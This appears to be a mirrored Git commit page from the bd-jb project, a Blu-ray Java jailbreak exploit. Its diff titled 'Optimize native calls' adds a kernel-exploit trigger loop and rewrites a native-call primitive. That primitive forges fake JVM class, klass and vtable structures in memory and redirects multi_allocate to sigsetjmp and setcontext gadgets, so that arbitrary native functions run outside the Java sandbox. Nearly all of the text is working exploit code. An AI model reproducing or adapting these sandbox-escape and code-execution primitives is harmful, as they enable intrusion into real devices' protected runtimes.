mirror of
https://github.com/TheOfficialFloW/bd-jb
synced 2024-12-12 10:12:15 -05:00
Optimize native calls.
This commit is contained in:
parent
44713ef59f
commit
be9a9319e6
@ -34,6 +34,22 @@ public class Exploit {
|
||||
|
||||
if (System.getSecurityManager() != null) {
|
||||
Screen.println("[-] Error could not disable security manager.");
|
||||
return;
|
||||
}
|
||||
|
||||
Screen.println("[*] Exploiting kernel...");
|
||||
|
||||
Class[] kernelExploits = new Class[] {};
|
||||
|
||||
for (int i = 0; i < kernelExploits.length; i++) {
|
||||
try {
|
||||
ExploitKernelInterface exploit = (ExploitKernelInterface) kernelExploits[i].newInstance();
|
||||
if (exploit.trigger()) {
|
||||
break;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -27,7 +27,7 @@ public final class API {
|
||||
private static final String JAVA_JAVA_LANG_REFLECT_ARRAY_MULTI_NEW_ARRAY_SYMBOL =
|
||||
"Java_java_lang_reflect_Array_multiNewArray";
|
||||
private static final String JVM_NATIVE_PATH_SYMBOL = "JVM_NativePath";
|
||||
private static final String SETJMP_SYMBOL = "setjmp";
|
||||
private static final String SIGSETJMP_SYMBOL = "sigsetjmp";
|
||||
private static final String UX86_64_SETCONTEXT_SYMBOL = "__Ux86_64_setcontext";
|
||||
private static final String ERROR_SYMBOL = "__error";
|
||||
|
||||
@ -45,6 +45,8 @@ public final class API {
|
||||
|
||||
private static API instance;
|
||||
|
||||
private static ThreadLocal callContexts = new ThreadLocal();
|
||||
|
||||
private UnsafeInterface unsafe;
|
||||
|
||||
private long longValueOffset;
|
||||
@ -57,7 +59,7 @@ public final class API {
|
||||
|
||||
private long Java_java_lang_reflect_Array_multiNewArray;
|
||||
private long JVM_NativePath;
|
||||
private long setjmp;
|
||||
private long sigsetjmp;
|
||||
private long __Ux86_64_setcontext;
|
||||
private long __error;
|
||||
|
||||
@ -157,9 +159,9 @@ public final class API {
|
||||
throw new InternalError("Java_java_lang_reflect_Array_multiNewArray not found");
|
||||
}
|
||||
|
||||
setjmp = dlsym(LIBC_MODULE_HANDLE, SETJMP_SYMBOL);
|
||||
if (setjmp == 0) {
|
||||
throw new InternalError("setjmp not found");
|
||||
sigsetjmp = dlsym(LIBKERNEL_MODULE_HANDLE, SIGSETJMP_SYMBOL);
|
||||
if (sigsetjmp == 0) {
|
||||
throw new InternalError("sigsetjmp not found");
|
||||
}
|
||||
|
||||
__error = dlsym(LIBKERNEL_MODULE_HANDLE, ERROR_SYMBOL);
|
||||
@ -275,82 +277,79 @@ public final class API {
|
||||
}
|
||||
|
||||
public long call(long func, long arg0, long arg1, long arg2, long arg3, long arg4, long arg5) {
|
||||
long fakeClassOop = malloc(Int64.SIZE);
|
||||
long fakeClass = malloc(0x100);
|
||||
long fakeKlass = malloc(0x200);
|
||||
long fakeKlassVtable = malloc(0x400);
|
||||
long ret = 0;
|
||||
|
||||
if (fakeClassOop == 0 || fakeClass == 0 || fakeKlass == 0 || fakeKlassVtable == 0) {
|
||||
throw new OutOfMemoryError("malloc failed");
|
||||
}
|
||||
// When func is 0, only do one iteration to avoid calling __Ux86_64_setcontext.
|
||||
// This is used to "train" this function to kick in optimization early. Otherwise, it is
|
||||
// possible that optimization kicks in between the calls to sigsetjmp and __Ux86_64_setcontext
|
||||
// leading to different stack layouts of the two calls.
|
||||
int iter = func == 0 ? 1 : 2;
|
||||
|
||||
try {
|
||||
long ret = 0;
|
||||
CallContext callContext = getCallContext();
|
||||
|
||||
// When func is 0, only do one iteration to avoid calling __Ux86_64_setcontext.
|
||||
// This is used to "train" this function to kick in optimization early. Otherwise, it is
|
||||
// possible that optimization kicks in between the calls to setjmp and __Ux86_64_setcontext
|
||||
// leading to different stack layouts of the two calls.
|
||||
int iter = func == 0 ? 1 : 2;
|
||||
if (jdk11) {
|
||||
write32(callContext.fakeKlass + 0xC4, 0); // dimension
|
||||
|
||||
if (jdk11) {
|
||||
write64(fakeClassOop + 0x00, fakeClass);
|
||||
write64(fakeClass + 0x98, fakeKlass);
|
||||
write32(fakeKlass + 0xC4, 0); // dimension
|
||||
write64(fakeKlassVtable + 0xD8, JVM_NativePath); // array_klass
|
||||
|
||||
for (int i = 0; i < iter; i++) {
|
||||
write64(fakeKlass + 0x00, fakeKlassVtable);
|
||||
write64(fakeKlass + 0x00, fakeKlassVtable);
|
||||
if (i == 0) {
|
||||
write64(fakeKlassVtable + 0x158, setjmp); // multi_allocate
|
||||
} else {
|
||||
write64(fakeKlassVtable + 0x158, __Ux86_64_setcontext); // multi_allocate
|
||||
}
|
||||
|
||||
ret = multiNewArray(fakeClassOop, MULTI_NEW_ARRAY_DIMENSIONS);
|
||||
|
||||
if (i == 0) {
|
||||
buildContext(
|
||||
fakeKlass + 0x00, fakeKlass + 0x00, func, arg0, arg1, arg2, arg3, arg4, arg5);
|
||||
}
|
||||
for (int i = 0; i < iter; i++) {
|
||||
write64(callContext.fakeKlass + 0x00, callContext.fakeKlassVtable);
|
||||
write64(callContext.fakeKlass + 0x00, callContext.fakeKlassVtable);
|
||||
if (i == 0) {
|
||||
write64(callContext.fakeKlassVtable + 0x158, sigsetjmp + 0x23); // multi_allocate
|
||||
} else {
|
||||
write64(
|
||||
callContext.fakeKlassVtable + 0x158, __Ux86_64_setcontext + 0x39); // multi_allocate
|
||||
}
|
||||
} else {
|
||||
write64(fakeClassOop + 0x00, fakeClass);
|
||||
write64(fakeClass + 0x68, fakeKlass);
|
||||
write32(fakeKlass + 0xBC, 0); // dimension
|
||||
write64(fakeKlassVtable + 0x80, JVM_NativePath); // array_klass
|
||||
write64(fakeKlassVtable + 0xF0, JVM_NativePath); // oop_is_array
|
||||
|
||||
for (int i = 0; i < iter; i++) {
|
||||
write64(fakeKlass + 0x10, fakeKlassVtable);
|
||||
write64(fakeKlass + 0x20, fakeKlassVtable);
|
||||
if (i == 0) {
|
||||
write64(fakeKlassVtable + 0x230, setjmp); // multi_allocate
|
||||
} else {
|
||||
write64(fakeKlassVtable + 0x230, __Ux86_64_setcontext); // multi_allocate
|
||||
}
|
||||
ret = multiNewArray(callContext.fakeClassOop, MULTI_NEW_ARRAY_DIMENSIONS);
|
||||
|
||||
ret = multiNewArray(fakeClassOop, MULTI_NEW_ARRAY_DIMENSIONS);
|
||||
|
||||
if (i == 0) {
|
||||
buildContext(
|
||||
fakeKlass + 0x20, fakeKlass + 0x20, func, arg0, arg1, arg2, arg3, arg4, arg5);
|
||||
}
|
||||
if (i == 0) {
|
||||
buildContext(
|
||||
callContext.fakeKlass + 0x00,
|
||||
callContext.fakeKlass + 0x00,
|
||||
func,
|
||||
arg0,
|
||||
arg1,
|
||||
arg2,
|
||||
arg3,
|
||||
arg4,
|
||||
arg5);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
write32(callContext.fakeKlass + 0xBC, 0); // dimension
|
||||
|
||||
if (ret == 0) {
|
||||
return 0;
|
||||
for (int i = 0; i < iter; i++) {
|
||||
write64(callContext.fakeKlass + 0x10, callContext.fakeKlassVtable);
|
||||
write64(callContext.fakeKlass + 0x20, callContext.fakeKlassVtable);
|
||||
if (i == 0) {
|
||||
write64(callContext.fakeKlassVtable + 0x230, sigsetjmp + 0x23); // multi_allocate
|
||||
} else {
|
||||
write64(
|
||||
callContext.fakeKlassVtable + 0x230, __Ux86_64_setcontext + 0x39); // multi_allocate
|
||||
}
|
||||
|
||||
ret = multiNewArray(callContext.fakeClassOop, MULTI_NEW_ARRAY_DIMENSIONS);
|
||||
|
||||
if (i == 0) {
|
||||
buildContext(
|
||||
callContext.fakeKlass + 0x20,
|
||||
callContext.fakeKlass + 0x20,
|
||||
func,
|
||||
arg0,
|
||||
arg1,
|
||||
arg2,
|
||||
arg3,
|
||||
arg4,
|
||||
arg5);
|
||||
}
|
||||
}
|
||||
|
||||
return read64(ret);
|
||||
} finally {
|
||||
free(fakeKlassVtable);
|
||||
free(fakeKlass);
|
||||
free(fakeClass);
|
||||
free(fakeClassOop);
|
||||
}
|
||||
|
||||
if (ret == 0) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
return read64(ret);
|
||||
}
|
||||
|
||||
public long call(long func, long arg0, long arg1, long arg2, long arg3, long arg4) {
|
||||
@ -586,4 +585,50 @@ public final class API {
|
||||
System.arraycopy(str.getBytes(), 0, bytes, 0, str.length());
|
||||
return bytes;
|
||||
}
|
||||
|
||||
private CallContext getCallContext() {
|
||||
CallContext callContext = (CallContext) callContexts.get();
|
||||
if (callContext != null) {
|
||||
return callContext;
|
||||
}
|
||||
|
||||
callContext = new CallContext();
|
||||
callContexts.set(callContext);
|
||||
return callContext;
|
||||
}
|
||||
|
||||
class CallContext {
|
||||
long fakeClassOop;
|
||||
long fakeClass;
|
||||
long fakeKlass;
|
||||
long fakeKlassVtable;
|
||||
private long callBuffer;
|
||||
|
||||
CallContext() {
|
||||
callBuffer = malloc(Int64.SIZE + 0x100 + 0x200 + 0x400);
|
||||
if (callBuffer == 0) {
|
||||
throw new OutOfMemoryError("malloc failed");
|
||||
}
|
||||
|
||||
fakeClassOop = callBuffer;
|
||||
fakeClass = fakeClassOop + Int64.SIZE;
|
||||
fakeKlass = fakeClass + 0x100;
|
||||
fakeKlassVtable = fakeKlass + 0x200;
|
||||
|
||||
if (jdk11) {
|
||||
write64(fakeClassOop + 0x00, fakeClass);
|
||||
write64(fakeClass + 0x98, fakeKlass);
|
||||
write64(fakeKlassVtable + 0xD8, JVM_NativePath); // array_klass
|
||||
} else {
|
||||
write64(fakeClassOop + 0x00, fakeClass);
|
||||
write64(fakeClass + 0x68, fakeKlass);
|
||||
write64(fakeKlassVtable + 0x80, JVM_NativePath); // array_klass
|
||||
write64(fakeKlassVtable + 0xF0, JVM_NativePath); // oop_is_array
|
||||
}
|
||||
}
|
||||
|
||||
protected void finalize() {
|
||||
free(callBuffer);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
Loading…
Reference in New Issue
Block a user